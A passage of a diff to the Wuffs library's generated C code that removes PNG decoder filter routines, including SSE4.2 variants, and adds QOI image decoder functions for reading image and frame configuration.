(self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 3; -- v_prev.len = 3; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); -- while (v_curr.ptr < i_end0_curr) { -- v_fb0 = ((uint32_t)(v_prev.ptr[0u])); -- v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); -- v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); -- if (v_pa0 >= 2147483648u) { -- v_pa0 = ((uint32_t)(0u - v_pa0)); -- } -- v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); -- if (v_pb0 >= 2147483648u) { -- v_pb0 = ((uint32_t)(0u - v_pb0)); -- } -- v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); -- if (v_pc0 >= 2147483648u) { -- v_pc0 = ((uint32_t)(0u - v_pc0)); -- } -- if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { -- } else if (v_pb0 <= v_pc0) { -- v_fa0 = v_fb0; -- } else { -- v_fa0 = v_fc0; -- } -- v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); -- v_fa0 = ((uint32_t)(v_curr.ptr[0u])); -- v_fc0 = v_fb0; -- v_fb1 = ((uint32_t)(v_prev.ptr[1u])); -- v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); -- v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); -- if (v_pa1 >= 2147483648u) { -- v_pa1 = ((uint32_t)(0u - v_pa1)); -- } -- v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); -- if (v_pb1 >= 2147483648u) { -- v_pb1 = ((uint32_t)(0u - v_pb1)); -- } -- v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); -- if (v_pc1 >= 2147483648u) { -- v_pc1 = ((uint32_t)(0u - v_pc1)); -- } -- if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { -- } else if (v_pb1 <= v_pc1) { -- v_fa1 = v_fb1; -- } else { -- v_fa1 = v_fc1; -- } -- v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); -- v_fa1 = ((uint32_t)(v_curr.ptr[1u])); -- v_fc1 = v_fb1; -- v_fb2 = ((uint32_t)(v_prev.ptr[2u])); -- v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); -- v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); -- if (v_pa2 >= 2147483648u) { -- v_pa2 = ((uint32_t)(0u - v_pa2)); -- } -- v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); -- if (v_pb2 >= 2147483648u) { -- v_pb2 = ((uint32_t)(0u - v_pb2)); -- } -- v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); -- if (v_pc2 >= 2147483648u) { -- v_pc2 = ((uint32_t)(0u - v_pc2)); -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; - } -- if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { -- } else if (v_pb2 <= v_pc2) { -- v_fa2 = v_fb2; -- } else { -- v_fa2 = v_fc2; -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); -+ goto exit; - } -- v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); -- v_fa2 = ((uint32_t)(v_curr.ptr[2u])); -- v_fc2 = v_fb2; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- v_curr.len = 0; -- v_prev.len = 0; -+ -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; - } -- return wuffs_base__make_empty_struct(); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; - } - --// -------- func png.decoder.filter_4_distance_4_fallback -+// -------- func qoi.decoder.do_decode_image_config - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_4_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint32_t v_fa0 = 0; -- uint32_t v_fa1 = 0; -- uint32_t v_fa2 = 0; -- uint32_t v_fa3 = 0; -- uint32_t v_fb0 = 0; -- uint32_t v_fb1 = 0; -- uint32_t v_fb2 = 0; -- uint32_t v_fb3 = 0; -- uint32_t v_fc0 = 0; -- uint32_t v_fc1 = 0; -- uint32_t v_fc2 = 0; -- uint32_t v_fc3 = 0; -- uint32_t v_pp0 = 0; -- uint32_t v_pp1 = 0; -- uint32_t v_pp2 = 0; -- uint32_t v_pp3 = 0; -- uint32_t v_pa0 = 0; -- uint32_t v_pa1 = 0; -- uint32_t v_pa2 = 0; -- uint32_t v_pa3 = 0; -- uint32_t v_pb0 = 0; -- uint32_t v_pb1 = 0; -- uint32_t v_pb2 = 0; -- uint32_t v_pb3 = 0; -- uint32_t v_pc0 = 0; -- uint32_t v_pc1 = 0; -- uint32_t v_pc2 = 0; -- uint32_t v_pc3 = 0; -+static wuffs_base__status -+wuffs_qoi__decoder__do_decode_image_config( -+ wuffs_qoi__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end0_curr) { -- v_fb0 = ((uint32_t)(v_prev.ptr[0u])); -- v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); -- v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); -- if (v_pa0 >= 2147483648u) { -- v_pa0 = ((uint32_t)(0u - v_pa0)); -- } -- v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); -- if (v_pb0 >= 2147483648u) { -- v_pb0 = ((uint32_t)(0u - v_pb0)); -- } -- v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); -- if (v_pc0 >= 2147483648u) { -- v_pc0 = ((uint32_t)(0u - v_pc0)); -- } -- if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { -- } else if (v_pb0 <= v_pc0) { -- v_fa0 = v_fb0; -- } else { -- v_fa0 = v_fc0; -- } -- v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); -- v_fa0 = ((uint32_t)(v_curr.ptr[0u])); -- v_fc0 = v_fb0; -- v_fb1 = ((uint32_t)(v_prev.ptr[1u])); -- v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); -- v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); -- if (v_pa1 >= 2147483648u) { -- v_pa1 = ((uint32_t)(0u - v_pa1)); -- } -- v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); -- if (v_pb1 >= 2147483648u) { -- v_pb1 = ((uint32_t)(0u - v_pb1)); -- } -- v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); -- if (v_pc1 >= 2147483648u) { -- v_pc1 = ((uint32_t)(0u - v_pc1)); -- } -- if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { -- } else if (v_pb1 <= v_pc1) { -- v_fa1 = v_fb1; -+ uint32_t v_a = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- v_fa1 = v_fc1; -- } -- v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); -- v_fa1 = ((uint32_t)(v_curr.ptr[1u])); -- v_fc1 = v_fb1; -- v_fb2 = ((uint32_t)(v_prev.ptr[2u])); -- v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); -- v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); -- if (v_pa2 >= 2147483648u) { -- v_pa2 = ((uint32_t)(0u - v_pa2)); -- } -- v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); -- if (v_pb2 >= 2147483648u) { -- v_pb2 = ((uint32_t)(0u - v_pb2)); -- } -- v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); -- if (v_pc2 >= 2147483648u) { -- v_pc2 = ((uint32_t)(0u - v_pc2)); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } - } -- if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { -- } else if (v_pb2 <= v_pc2) { -- v_fa2 = v_fb2; -+ v_a = t_0; -+ } -+ if (v_a != 1718185841u) { -+ status = wuffs_base__make_status(wuffs_qoi__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- v_fa2 = v_fc2; -- } -- v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); -- v_fa2 = ((uint32_t)(v_curr.ptr[2u])); -- v_fc2 = v_fb2; -- v_fb3 = ((uint32_t)(v_prev.ptr[3u])); -- v_pp3 = ((uint32_t)(((uint32_t)(v_fa3 + v_fb3)) - v_fc3)); -- v_pa3 = ((uint32_t)(v_pp3 - v_fa3)); -- if (v_pa3 >= 2147483648u) { -- v_pa3 = ((uint32_t)(0u - v_pa3)); -- } -- v_pb3 = ((uint32_t)(v_pp3 - v_fb3)); -- if (v_pb3 >= 2147483648u) { -- v_pb3 = ((uint32_t)(0u - v_pb3)); -- } -- v_pc3 = ((uint32_t)(v_pp3 - v_fc3)); -- if (v_pc3 >= 2147483648u) { -- v_pc3 = ((uint32_t)(0u - v_pc3)); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); -+ } - } -- if ((v_pa3 <= v_pb3) && (v_pa3 <= v_pc3)) { -- } else if (v_pb3 <= v_pc3) { -- v_fa3 = v_fb3; -+ v_a = t_1; -+ } -+ if (v_a > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_width = v_a; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- v_fa3 = v_fc3; -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)); -+ } - } -- v_curr.ptr[3u] = ((uint8_t)(v_curr.ptr[3u] + ((uint8_t)(v_fa3)))); -- v_fa3 = ((uint32_t)(v_curr.ptr[3u])); -- v_fc3 = v_fb3; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -+ v_a = t_2; - } -- v_curr.len = 0; -- v_prev.len = 0; -- } -- return wuffs_base__make_empty_struct(); --} -+ if (v_a > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_height = v_a; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_3 = *iop_a_src++; -+ v_a = t_3; -+ } -+ if (v_a == 3u) { -+ self->private_impl.f_pixfmt = 2415954056u; -+ } else if (v_a == 4u) { -+ self->private_impl.f_pixfmt = 2164295816u; -+ } else { -+ status = wuffs_base__make_status(wuffs_qoi__error__bad_header); -+ goto exit; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src++; -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ self->private_impl.f_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ 14u, -+ (self->private_impl.f_pixfmt == 2415954056u)); -+ } -+ self->private_impl.f_call_sequence = 32u; - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --// -------- func png.decoder.filter_1_distance_4_x86_sse42 -+ goto ok; -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; -+ } - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_4_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr) { -- wuffs_base__slice_u8 v_curr = {0}; -- __m128i v_x128 = {0}; -- __m128i v_a128 = {0}; -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_a128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_a128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- } -- v_curr.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_a128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- } -- v_curr.len = 0; -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- return wuffs_base__make_empty_struct(); -+ -+ return status; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --// -------- func png.decoder.filter_3_distance_4_x86_sse42 -+// -------- func qoi.decoder.decode_frame_config - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_4_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- __m128i v_x128 = {0}; -- __m128i v_a128 = {0}; -- __m128i v_b128 = {0}; -- __m128i v_p128 = {0}; -- __m128i v_k128 = {0}; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_qoi__decoder__decode_frame_config( -+ wuffs_qoi__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 2)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- if (((uint64_t)(a_prev.len)) == 0u) { -- v_k128 = _mm_set1_epi8((int8_t)(254u)); -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- } -- v_curr.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- } -- v_curr.len = 0; -- } -- } else { -- v_k128 = _mm_set1_epi8((int8_t)(1u)); -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_p128 = _mm_avg_epu8(v_a128, v_b128); -- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_p128 = _mm_avg_epu8(v_a128, v_b128); -- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_prev.ptr += 4; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; - } -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_p128 = _mm_avg_epu8(v_a128, v_b128); -- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); -- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_x128 = _mm_add_epi8(v_x128, v_p128); -- v_a128 = v_x128; -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -- v_curr.ptr += 4; -- v_prev.ptr += 4; -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); -+ goto exit; - } -- v_curr.len = 0; -- v_prev.len = 0; -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- } -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --// -------- func png.decoder.filter_4_distance_3_x86_sse42 -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; -+ } - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_3_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- __m128i v_x128 = {0}; -- __m128i v_a128 = {0}; -- __m128i v_b128 = {0}; -- __m128i v_c128 = {0}; -- __m128i v_p128 = {0}; -- __m128i v_pa128 = {0}; -- __m128i v_pb128 = {0}; -- __m128i v_pc128 = {0}; -- __m128i v_smallest128 = {0}; -- __m128i v_z128 = {0}; -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6); -- while (v_curr.ptr < i_end0_curr) { -- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_b128 = 